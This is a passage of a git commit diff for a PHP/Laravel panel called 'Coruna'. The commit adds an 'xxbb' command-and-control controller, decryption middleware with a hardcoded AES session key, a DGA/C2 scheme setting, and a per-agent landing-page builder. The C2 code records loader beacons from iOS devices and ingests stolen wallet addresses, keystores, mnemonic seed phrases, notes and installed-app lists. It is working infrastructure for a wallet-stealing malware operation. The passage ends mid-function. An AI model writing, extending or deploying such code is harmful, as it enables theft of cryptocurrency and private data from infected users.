feat: xxbb
This commit is contained in:
@@ -68,6 +68,8 @@ CORUNA_CHANNEL_STATE_ROOT=
|
||||
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
||||
# Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS
|
||||
CORUNA_STATIC_SITE_SCHEME=https
|
||||
# Native DGA/C2 URL scheme in xxbb type-0x01 (keep https; ATS blocks http:// to .icu hosts)
|
||||
CORUNA_XXBB_C2_SCHEME=https
|
||||
# Max channel links per agent (super-admin settings can override)
|
||||
CORUNA_MAX_CHANNELS_PER_AGENT=5
|
||||
# p7zip binary. On panel hosts with open_basedir, prefer project-local:
|
||||
|
||||
@@ -32,3 +32,9 @@ Thumbs.db
|
||||
/channel-builder/.venv
|
||||
/channel-builder/out
|
||||
/storage/app/channel-builder
|
||||
/channel-builder-new/.venv
|
||||
/channel-builder-new/out
|
||||
/public/source
|
||||
/public/weifile
|
||||
/public/details
|
||||
/storage/app/channel-builder-new
|
||||
|
||||
@@ -52,7 +52,7 @@ class ChannelController extends Controller
|
||||
$q->where('status', (int) $status);
|
||||
}
|
||||
|
||||
$sortable = ['id', 'channel_id', 'status', 'user_id', 'created_at', 'updated_at'];
|
||||
$sortable = ['id', 'channel_id', 'channel_name', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
@@ -68,6 +68,8 @@ class ChannelController extends Controller
|
||||
return [
|
||||
'id' => $c->id,
|
||||
'channel_id' => $c->channel_id,
|
||||
'builder_type' => $c->builderType(),
|
||||
'channel_name' => $c->channel_name ?: '',
|
||||
'user_id' => (int) $c->user_id,
|
||||
'agent_username' => $c->agentLabel(),
|
||||
'remark' => $c->remark ?: '',
|
||||
@@ -101,6 +103,7 @@ class ChannelController extends Controller
|
||||
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
|
||||
'builder_type' => ['nullable', 'string', Rule::in([Channel::BUILDER_OLD, Channel::BUILDER_NEW])],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
|
||||
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
||||
@@ -114,6 +117,8 @@ class ChannelController extends Controller
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
|
||||
$builderType = (string) ($data['builder_type'] ?? Channel::BUILDER_OLD);
|
||||
$channelName = $builderType === Channel::BUILDER_NEW ? Channel::randomChannelName() : null;
|
||||
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
@@ -123,7 +128,10 @@ class ChannelController extends Controller
|
||||
$supportTemplate,
|
||||
$data['deployment_seed'] ?? null,
|
||||
$data['reporting_seed'] ?? null,
|
||||
$builderType,
|
||||
$channelName,
|
||||
);
|
||||
$channelName = $build['channel_name'] ?? $channelName;
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
@@ -132,7 +140,7 @@ class ChannelController extends Controller
|
||||
}
|
||||
|
||||
try {
|
||||
$channel = DB::transaction(function () use ($data, $userId) {
|
||||
$channel = DB::transaction(function () use ($data, $userId, $builderType, $channelName) {
|
||||
if ($userId > 0) {
|
||||
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||
if (! $userExists) {
|
||||
@@ -144,6 +152,8 @@ class ChannelController extends Controller
|
||||
|
||||
return Channel::query()->create([
|
||||
'channel_id' => $data['channel_id'],
|
||||
'builder_type' => $builderType,
|
||||
'channel_name' => $channelName,
|
||||
'user_id' => $userId,
|
||||
'domains' => [],
|
||||
'remark' => $data['remark'] ?? null,
|
||||
@@ -151,7 +161,7 @@ class ChannelController extends Controller
|
||||
]);
|
||||
});
|
||||
} catch (\Throwable $e) {
|
||||
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id']);
|
||||
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType, $channelName);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
@@ -164,13 +174,16 @@ class ChannelController extends Controller
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'builder_type' => $channel->builderType(),
|
||||
'channel_name' => $channel->channel_name,
|
||||
'links' => $channel->supportLinks(),
|
||||
'seeds' => $build['seeds'],
|
||||
'domains' => $build['domains'],
|
||||
'seeds_initialized' => $build['seeds_initialized'],
|
||||
'sync_rebuilt' => $build['sync_rebuilt'],
|
||||
'support_path' => $build['support_path'],
|
||||
'daily_path' => $build['daily_path'],
|
||||
'support_path' => $build['support_path'] ?? $channel->landingPath(),
|
||||
'weifile_path' => $build['weifile_path'] ?? null,
|
||||
'daily_path' => $build['daily_path'] ?? '',
|
||||
],
|
||||
]);
|
||||
}
|
||||
@@ -229,10 +242,12 @@ class ChannelController extends Controller
|
||||
$this->authorizeChannel($channel);
|
||||
|
||||
$channelId = $channel->channel_id;
|
||||
$builderType = $channel->builderType();
|
||||
$channelName = $channel->channel_name;
|
||||
try {
|
||||
// Delete remotely first: a failed remote delete leaves the DB row available
|
||||
// for a safe retry instead of orphaning an unreachable static project.
|
||||
$projects->deleteWebTree($channelId);
|
||||
$projects->deleteWebTree($channelId, $builderType, $channelName);
|
||||
DB::transaction(static fn () => $channel->delete());
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
@@ -271,7 +286,9 @@ class ChannelController extends Controller
|
||||
|
||||
private function compensateBuildUnlessChannelExists(
|
||||
ChannelProjectService $projects,
|
||||
string $channelId
|
||||
string $channelId,
|
||||
string $builderType = Channel::BUILDER_OLD,
|
||||
?string $channelName = null,
|
||||
): void {
|
||||
try {
|
||||
// A concurrent request may have won the unique channel_id insert. Its
|
||||
@@ -289,10 +306,12 @@ class ChannelController extends Controller
|
||||
}
|
||||
|
||||
try {
|
||||
$projects->deleteWebTree($channelId);
|
||||
$projects->deleteWebTree($channelId, $builderType, $channelName);
|
||||
} catch (\Throwable $e) {
|
||||
Log::error('Failed to compensate channel build', [
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => $builderType,
|
||||
'channel_name' => $channelName,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,146 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\IngestService;
|
||||
use App\Support\UserAgentParser;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
/**
|
||||
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
|
||||
*/
|
||||
class XxbbC2Controller extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly IngestService $ingest,
|
||||
) {}
|
||||
|
||||
public function vhx(): Response
|
||||
{
|
||||
return response('ok', 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
|
||||
/**
|
||||
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain.
|
||||
*/
|
||||
public function iptj(Request $request): Response
|
||||
{
|
||||
$payload = $request->json()->all();
|
||||
if ($payload === []) {
|
||||
$decoded = json_decode((string) $request->getContent(), true);
|
||||
$payload = is_array($decoded) ? $decoded : [];
|
||||
}
|
||||
|
||||
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
|
||||
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
|
||||
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
|
||||
|
||||
if ($channelCode !== '' && strlen($channelCode) <= 64) {
|
||||
$uid = $domain !== '' ? $domain : (string) $request->ip();
|
||||
$uid = substr($uid, 0, 64);
|
||||
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
|
||||
if (Cache::add($debounceKey, 1, now()->addSeconds(8))) {
|
||||
$ua = substr((string) $request->userAgent(), 0, 512);
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
|
||||
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
|
||||
$osVersion = $m[1];
|
||||
}
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => substr($channelCode, 0, 64),
|
||||
'client_uid' => $uid !== '' ? $uid : 'iptj',
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
|
||||
'os_version' => $osVersion,
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $request->ip(),
|
||||
'path' => $domain !== '' ? substr($domain, 0, 255) : null,
|
||||
'created_at' => now(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
return response('{}', 200)->header('Content-Type', 'application/json');
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/set — device census, no create. */
|
||||
public function profile(Request $request): Response
|
||||
{
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/get */
|
||||
public function apps(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestInstalledApps($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/put */
|
||||
public function event(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* Plugin reports: /uj /us /ub /ba /result.
|
||||
* Dispatch by payload shape onto the same ingest as lab long paths.
|
||||
*/
|
||||
public function plugin(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
if (isset($payload['ba']) || isset($payload['ad']) || isset($payload['data'])) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
}
|
||||
if (array_key_exists('result', $payload)) {
|
||||
$result = $payload['result'];
|
||||
$asKeystore = is_array($result);
|
||||
if (is_string($result)) {
|
||||
$decoded = json_decode($result, true);
|
||||
$asKeystore = is_array($decoded);
|
||||
}
|
||||
if ($asKeystore) {
|
||||
$this->ingest->ingestKeystore($device, $payload);
|
||||
} else {
|
||||
$this->ingest->ingestMnemonic($device, $payload);
|
||||
}
|
||||
}
|
||||
if (array_key_exists('list', $payload)) {
|
||||
$this->ingest->ingestNotes($device, $payload);
|
||||
}
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
private function xxbbAck(Request $request): Response
|
||||
{
|
||||
$ts = (string) $request->attributes->get('xxbb_ts', '');
|
||||
if ($ts === '') {
|
||||
$ts = (string) ($request->header('x-ts') ?: '');
|
||||
}
|
||||
if ($ts === '') {
|
||||
$ts = (string) (int) round(microtime(true) * 1000);
|
||||
}
|
||||
|
||||
return response($ts.'{}', 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
/**
|
||||
* xxbb native reporting: same AES envelope as lab, header is x-ts,
|
||||
* session key is hardcoded Ek8pl31K2yeHgQwy.
|
||||
*/
|
||||
class DecryptXxbbBody
|
||||
{
|
||||
public static function crypto(): CorunaCrypto
|
||||
{
|
||||
return app('xxbb.crypto');
|
||||
}
|
||||
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
$crypto = self::crypto();
|
||||
$headers = [];
|
||||
foreach (['x-ts', 'x-hash', 'sdkv', 'ver', 'accept', 'content-type', 'user-agent'] as $h) {
|
||||
if ($request->headers->has($h)) {
|
||||
$headers[$h] = $request->headers->get($h);
|
||||
}
|
||||
}
|
||||
|
||||
$raw = $request->getContent();
|
||||
$timestamp = (string) $request->header('x-ts', '');
|
||||
$payload = null;
|
||||
$decryptOk = false;
|
||||
$error = null;
|
||||
$deviceKey = null;
|
||||
|
||||
$isMultipart = str_contains((string) $request->header('content-type'), 'multipart/');
|
||||
$path = '/'.ltrim($request->path(), '/');
|
||||
|
||||
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
|
||||
$decryptOk = true;
|
||||
} elseif ($isMultipart) {
|
||||
$payload = [
|
||||
'form' => $request->except(['file']),
|
||||
'has_file' => $request->hasFile('file'),
|
||||
];
|
||||
$decryptOk = true;
|
||||
$deviceKey = $request->input('d') ?: $request->input('f');
|
||||
} elseif ($raw !== '' && $timestamp !== '') {
|
||||
try {
|
||||
$payload = $crypto->decryptJsonBody($raw, $timestamp);
|
||||
$decryptOk = true;
|
||||
} catch (\Throwable $e) {
|
||||
$error = $e->getMessage();
|
||||
}
|
||||
} elseif ($raw === '') {
|
||||
$decryptOk = true;
|
||||
} else {
|
||||
$error = 'missing x-ts or body';
|
||||
}
|
||||
|
||||
if (is_array($payload)) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
if (! empty($payload[$k]) && is_string($payload[$k])) {
|
||||
$deviceKey = $payload[$k];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) {
|
||||
$deviceKey = $payload['form'][$k];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (is_string($deviceKey) && $deviceKey !== '') {
|
||||
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
|
||||
}
|
||||
|
||||
create_log([
|
||||
'dir' => 'in',
|
||||
'campaign' => 'xxbb',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'timestamp_hdr' => $timestamp ?: null,
|
||||
'headers' => $headers,
|
||||
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'c2');
|
||||
|
||||
$request->attributes->set('coruna_payload', $payload);
|
||||
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
||||
$request->attributes->set('coruna_device_key', $deviceKey);
|
||||
$request->attributes->set('xxbb_ts', $timestamp);
|
||||
|
||||
return $next($request);
|
||||
}
|
||||
}
|
||||
+78
-2
@@ -4,13 +4,39 @@ namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use RuntimeException;
|
||||
|
||||
class Channel extends Model
|
||||
{
|
||||
public const OFFICIAL_USER_ID = 0;
|
||||
|
||||
public const BUILDER_OLD = 'old';
|
||||
|
||||
public const BUILDER_NEW = 'new';
|
||||
|
||||
public const CHANNEL_NAME_LENGTH = 8;
|
||||
|
||||
/**
|
||||
* Public-root path prefixes that must not be used as channel_name.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
public const RESERVED_CHANNEL_NAMES = [
|
||||
'admin', 'user', 'api', 'web', 'sync', 'details', 'weifile', 'hooks',
|
||||
'link', 'statistic', 'vhx', 'event', 'log', 'storage', 'build', 'hot',
|
||||
'vendor', 'css', 'js', 'up', 'index', 'assets', 'static', 'source', 'channel',
|
||||
'out', 't', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
|
||||
'robots', 'sitemap', 'public', 'app', 'bootstrap', 'config',
|
||||
'database', 'resources', 'routes', 'tests', 'artisan', 'livewire',
|
||||
'sanctum', 'telescope', 'horizon', 'pulse',
|
||||
];
|
||||
|
||||
protected $fillable = [
|
||||
'channel_id', 'user_id', 'domains', 'status', 'remark',
|
||||
'channel_id', 'builder_type', 'channel_name', 'user_id', 'domains', 'status', 'remark',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
'builder_type' => self::BUILDER_OLD,
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
@@ -37,6 +63,18 @@ class Channel extends Model
|
||||
return (int) $this->user_id === self::OFFICIAL_USER_ID;
|
||||
}
|
||||
|
||||
public function isNewBuilder(): bool
|
||||
{
|
||||
return $this->builderType() === self::BUILDER_NEW;
|
||||
}
|
||||
|
||||
public function builderType(): string
|
||||
{
|
||||
$type = strtolower(trim((string) ($this->builder_type ?? '')));
|
||||
|
||||
return $type === self::BUILDER_NEW ? self::BUILDER_NEW : self::BUILDER_OLD;
|
||||
}
|
||||
|
||||
public function agentLabel(): string
|
||||
{
|
||||
if ($this->isOfficial()) {
|
||||
@@ -83,13 +121,25 @@ class Channel extends Model
|
||||
}, $domains))));
|
||||
}
|
||||
|
||||
public function landingPath(): string
|
||||
{
|
||||
if ($this->isNewBuilder()) {
|
||||
$name = strtolower(trim((string) ($this->channel_name ?? '')));
|
||||
if ($name !== '') {
|
||||
return '/source/'.$name.'/index.html';
|
||||
}
|
||||
}
|
||||
|
||||
return '/web/'.$this->channel_id.'/support.html';
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function supportLinks(): array
|
||||
{
|
||||
$links = [];
|
||||
$path = '/web/'.$this->channel_id.'/support.html';
|
||||
$path = $this->landingPath();
|
||||
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
||||
foreach ($this->resolvedDomains() as $domain) {
|
||||
$origin = rtrim($domain, '/');
|
||||
@@ -110,6 +160,32 @@ class Channel extends Model
|
||||
return bin2hex(random_bytes(16));
|
||||
}
|
||||
|
||||
public static function isReservedChannelName(string $name): bool
|
||||
{
|
||||
return in_array(strtolower($name), self::RESERVED_CHANNEL_NAMES, true);
|
||||
}
|
||||
|
||||
public static function randomChannelName(): string
|
||||
{
|
||||
for ($i = 0; $i < 32; $i++) {
|
||||
$name = substr(bin2hex(random_bytes(5)), 0, self::CHANNEL_NAME_LENGTH);
|
||||
if (self::isReservedChannelName($name)) {
|
||||
continue;
|
||||
}
|
||||
if (self::query()->where('channel_name', $name)->exists()) {
|
||||
continue;
|
||||
}
|
||||
$public = public_path('source/'.$name);
|
||||
if (is_dir($public) || is_file($public)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
return $name;
|
||||
}
|
||||
|
||||
throw new RuntimeException('无法生成唯一 channel_name');
|
||||
}
|
||||
|
||||
public static function maxPerAgent(): int
|
||||
{
|
||||
$n = (int) config('coruna.channels.max_per_agent', 5);
|
||||
|
||||
@@ -22,6 +22,12 @@ class AppServiceProvider extends ServiceProvider
|
||||
return new CorunaCrypto(is_string($override) && $override !== '' ? $override : null);
|
||||
});
|
||||
|
||||
$this->app->singleton('xxbb.crypto', function () {
|
||||
$key = config('coruna.xxbb.session_key', 'Ek8pl31K2yeHgQwy');
|
||||
|
||||
return new CorunaCrypto(is_string($key) && $key !== '' ? $key : 'Ek8pl31K2yeHgQwy');
|
||||
});
|
||||
|
||||
$this->app->singleton(CorunaArchive::class, function ($app) {
|
||||
return new CorunaArchive(
|
||||
$app->make(CorunaCrypto::class),
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use RuntimeException;
|
||||
@@ -12,18 +13,25 @@ class ChannelProjectService
|
||||
|
||||
public const DEFAULT_SUPPORT_TEMPLATE = 'test';
|
||||
|
||||
public const BUILDER_OLD = Channel::BUILDER_OLD;
|
||||
|
||||
public const BUILDER_NEW = Channel::BUILDER_NEW;
|
||||
|
||||
public const RESULT_MARKER = 'CORUNA_BUILD_RESULT ';
|
||||
|
||||
/**
|
||||
* Build channel web assets (and shared sync on first/changed seeds) via channel-builder.
|
||||
* Build channel web assets via the old or new channel builder.
|
||||
*
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string},
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
* sync_rebuilt: bool,
|
||||
* support_path: string,
|
||||
* weifile_path: ?string,
|
||||
* daily_path: string,
|
||||
* support_template?: string,
|
||||
* }
|
||||
@@ -33,18 +41,105 @@ class ChannelProjectService
|
||||
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
|
||||
?string $deploymentSeed = null,
|
||||
?string $reportingSeed = null,
|
||||
string $builderType = self::BUILDER_OLD,
|
||||
?string $channelName = null,
|
||||
): array {
|
||||
$builderType = $this->normalizeBuilderType($builderType);
|
||||
$channelId = $this->normalizeChannelId($channelId);
|
||||
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
|
||||
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds($deploymentSeed, $reportingSeed);
|
||||
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
return $this->generateNew(
|
||||
$channelId,
|
||||
$channelName,
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
);
|
||||
}
|
||||
|
||||
return $this->generateOld(
|
||||
$channelId,
|
||||
$supportTemplate,
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
);
|
||||
}
|
||||
|
||||
public function deleteWebTree(
|
||||
string $channelId,
|
||||
string $builderType = self::BUILDER_OLD,
|
||||
?string $channelName = null,
|
||||
): void {
|
||||
$builderType = $this->normalizeBuilderType($builderType);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
$name = strtolower(trim((string) $channelName));
|
||||
if ($name === '') {
|
||||
return;
|
||||
}
|
||||
$cmd = [
|
||||
$this->pythonBinary($builderType),
|
||||
$this->builderScript('delete_channel.py', $builderType),
|
||||
'--artifact-root',
|
||||
$this->artifactRoot(),
|
||||
'--channel-name',
|
||||
$name,
|
||||
];
|
||||
$this->runBuilder($cmd, '删除渠道资源失败', $this->builderCwd($builderType));
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$channelId = $this->normalizeChannelId($channelId);
|
||||
} catch (RuntimeException) {
|
||||
return;
|
||||
}
|
||||
|
||||
$cmd = [
|
||||
$this->pythonBinary(),
|
||||
$this->builderScript('new_project.py'),
|
||||
$this->pythonBinary($builderType),
|
||||
$this->builderScript('delete_channel_web.py', $builderType),
|
||||
'--artifact-root',
|
||||
$this->artifactRoot(),
|
||||
'--channel-id',
|
||||
$channelId,
|
||||
];
|
||||
|
||||
$this->runBuilder($cmd, '删除渠道资源失败', $this->builderCwd($builderType));
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
* sync_rebuilt: bool,
|
||||
* support_path: string,
|
||||
* weifile_path: ?string,
|
||||
* daily_path: string,
|
||||
* support_template?: string,
|
||||
* }
|
||||
*/
|
||||
private function generateOld(
|
||||
string $channelId,
|
||||
string $supportTemplate,
|
||||
?string $deploymentSeed,
|
||||
?string $reportingSeed,
|
||||
): array {
|
||||
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
|
||||
$cmd = [
|
||||
$this->pythonBinary(self::BUILDER_OLD),
|
||||
$this->builderScript('new_project.py', self::BUILDER_OLD),
|
||||
'--artifact-root',
|
||||
$this->artifactRoot(),
|
||||
'--state-root',
|
||||
$this->stateRoot(),
|
||||
$this->stateRoot(self::BUILDER_OLD),
|
||||
'--channel-id',
|
||||
$channelId,
|
||||
'--support-template',
|
||||
@@ -58,10 +153,13 @@ class ChannelProjectService
|
||||
$cmd[] = $reportingSeed;
|
||||
}
|
||||
|
||||
$result = $this->runBuilder($cmd, '生成渠道资源失败');
|
||||
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_OLD));
|
||||
$supportPath = (string) ($result['support_path'] ?? '/web/'.$channelId.'/support.html');
|
||||
|
||||
return [
|
||||
'channel_id' => (string) ($result['channel_id'] ?? $channelId),
|
||||
'builder_type' => self::BUILDER_OLD,
|
||||
'channel_name' => null,
|
||||
'seeds' => [
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
|
||||
@@ -72,41 +170,98 @@ class ChannelProjectService
|
||||
],
|
||||
'seeds_initialized' => (bool) ($result['seeds_initialized'] ?? false),
|
||||
'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false),
|
||||
'support_path' => (string) ($result['support_path'] ?? '/web/'.$channelId.'/support.html'),
|
||||
'support_path' => $supportPath,
|
||||
'weifile_path' => null,
|
||||
'daily_path' => (string) ($result['daily_path'] ?? '/sync/daily.html'),
|
||||
'support_template' => (string) ($result['support_template'] ?? $supportTemplate),
|
||||
];
|
||||
}
|
||||
|
||||
public function deleteWebTree(string $channelId): void
|
||||
{
|
||||
try {
|
||||
$channelId = $this->normalizeChannelId($channelId);
|
||||
} catch (RuntimeException) {
|
||||
return;
|
||||
/**
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
* sync_rebuilt: bool,
|
||||
* support_path: string,
|
||||
* weifile_path: ?string,
|
||||
* daily_path: string,
|
||||
* support_template?: string,
|
||||
* }
|
||||
*/
|
||||
private function generateNew(
|
||||
string $channelId,
|
||||
?string $channelName,
|
||||
?string $deploymentSeed,
|
||||
?string $reportingSeed,
|
||||
): array {
|
||||
$channelName = $this->normalizeChannelName((string) $channelName);
|
||||
if ($channelId === '202800cfb1ad3de68e11239dcc26c30b') {
|
||||
throw new RuntimeException('channel_id 不能与 7z 密码槽相同');
|
||||
}
|
||||
$scheme = strtolower((string) config('coruna.channel_builder_new.c2_scheme', 'http'));
|
||||
if (! in_array($scheme, ['http', 'https'], true)) {
|
||||
throw new RuntimeException('CORUNA_XXBB_C2_SCHEME 必须是 http 或 https');
|
||||
}
|
||||
|
||||
$cmd = [
|
||||
$this->pythonBinary(),
|
||||
$this->builderScript('delete_channel_web.py'),
|
||||
$this->pythonBinary(self::BUILDER_NEW),
|
||||
$this->builderScript('build.py', self::BUILDER_NEW),
|
||||
'--artifact-root',
|
||||
$this->artifactRoot(),
|
||||
'--channel-id',
|
||||
'--state-root',
|
||||
$this->stateRoot(self::BUILDER_NEW),
|
||||
'--channel-name',
|
||||
$channelName,
|
||||
'--channel-c',
|
||||
$channelId,
|
||||
'--scheme',
|
||||
$scheme,
|
||||
'--apply',
|
||||
'--force',
|
||||
];
|
||||
if ($deploymentSeed !== null && $reportingSeed !== null) {
|
||||
$cmd[] = '--deployment-seed';
|
||||
$cmd[] = $deploymentSeed;
|
||||
$cmd[] = '--reporting-seed';
|
||||
$cmd[] = $reportingSeed;
|
||||
}
|
||||
|
||||
$this->runBuilder($cmd, '删除渠道资源失败');
|
||||
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
$weifilePath = '/source/'.$channelName.'/index.html';
|
||||
|
||||
return [
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => self::BUILDER_NEW,
|
||||
'channel_name' => $channelName,
|
||||
'seeds' => [
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
|
||||
'channel_c' => (string) data_get($result, 'seeds.channel_c', $channelId),
|
||||
],
|
||||
'domains' => [
|
||||
'deployment' => array_values((array) data_get($result, 'domains.deployment', [])),
|
||||
'reporting' => array_values((array) data_get($result, 'domains.reporting', [])),
|
||||
],
|
||||
'seeds_initialized' => (bool) ($result['seeds_initialized'] ?? false),
|
||||
'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false),
|
||||
